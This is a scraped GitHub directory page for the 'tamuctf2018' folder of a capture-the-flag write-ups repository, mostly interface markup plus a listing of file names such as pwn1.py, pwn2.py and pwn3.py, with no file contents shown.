<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> coldBug </span> <span>/</span> ctfwriteups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/coldBug/ctfwriteups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":96701284,"originating_url":"https://github.com/coldBug/ctfwriteups/tree/master/tamuctf2018","user_id":null}}" data-hydro-click-hmac="cce9bfebc341b8dc2526030628c4005a89be70631324ac632c399263cdf48832"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/coldBug/ctfwriteups/refs" cache-key="v0:1499622809.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Y29sZEJ1Zy9jdGZ3cml0ZXVwcw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/coldBug/ctfwriteups/refs" cache-key="v0:1499622809.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Y29sZEJ1Zy9jdGZ3cml0ZXVwcw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctfwriteups</span></span></span><span>/</span>tamuctf2018<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctfwriteups</span></span></span><span>/</span>tamuctf2018<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/coldBug/ctfwriteups/tree-commit/247ba0b1dc991968d132a50dc07e9c3ee328d5fb/tamuctf2018" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/coldBug/ctfwriteups/file-list/master/tamuctf2018"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn1</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn1.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn2</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn2.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn3</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn3.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
